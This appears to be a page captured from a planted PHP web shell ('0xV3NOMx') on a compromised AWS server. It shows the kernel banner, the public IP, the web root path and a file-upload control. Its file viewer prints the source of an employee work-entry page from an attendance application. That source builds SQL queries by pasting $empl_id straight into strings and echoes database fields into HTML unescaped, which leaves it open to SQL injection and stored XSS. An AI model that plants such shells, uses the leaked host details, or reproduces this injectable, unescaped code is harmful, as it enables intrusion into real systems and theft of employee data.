0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.135.199.179


Current Path : /var/www/html/oums/src/
Upload File :
Current File : /var/www/html/oums/src/home_work_flash.php

<div class="list-group" style="text-align:left; cursor:pointer;">
    <?php
    include("sys_connect.php");
    include("sys_session.php");

    $mysql = "select at.fdeptcode,date_format(fattndate,'%d/%m/%Y') as lattndate,at.femplcode,fattnstat 
    from attendance at 
    left join masempl em on at.femplcode = em.femplcode and em.fworkentr = 'T'
    left join workentry wk on at.femplcode = wk.femplcode and at.fattndate = wk.fworkdate
    where fattnstat='PR' and date_format(at.fattndate,'%Y-%m') = date_format(current_date,'%Y-%m') 
    and at.femplcode='$empl_id' and wk.femplcode is null order by lattndate desc limit 10";
    $myres = mysqli_query($mycon, $mysql);
    if (mysqli_num_rows($myres) > 0) {
        echo "<table class='table table-default'>";
        echo "<tr>";
        echo "<th colspan='3' class='text-left'>Work Entry Pending</th>";
        echo "</tr>";
        while ($myrow = mysqli_fetch_assoc($myres)) {
            echo "<tr>";
            echo "<td width='10%' class='text-left'> $myrow[lattndate]</td>";
            echo "<td class='text-left'> Work Entry Pending</td>";
            echo "</tr>";
        }
        echo "</table>";
    } else {
        echo "<div class='alert alert-info'>No work entry pending!</div>";
    }


    $mysql = "select fworkcode,date_format(fworkdate,'%d/%m/%Y') as fworkdate,fworkname,fworkdetl,fviewdetl from workentry where femplcode='$empl_id' and ifnull(fviewdetl,'')<>'' and facknnote='F' order by fworkcode desc limit 10";
    $myres = mysqli_query($mycon, $mysql);
    if (mysqli_num_rows($myres) > 0) {
        echo "<table class='table table-default'>";
        echo "<tr>";
        echo "<th colspan='3' class='text-left'>Work Reviews</th>";
        echo "</tr>";
        while ($myrow = mysqli_fetch_assoc($myres)) {
            echo "<tr>";
            echo "<td width='10%' class='text-left'> $myrow[fworkdate]</td>";
            echo "<td width='80%' class='text-left'> Work Name: $myrow[fworkname]</br>Work Details: $myrow[fworkdetl]</br>Review Remarks: $myrow[fviewdetl]</td>";
            echo "<td class='text-left'> <a class='btn btn-primary btn-sm' href=# onClick=ackn_note('$myrow[fworkcode]')>Acknowledge</a></td>";
            echo "</tr>";
        }
        echo "</table>";
    } else {
        echo "<div class='alert alert-info'>No review notices!</div>";
    }
    ?>
</div>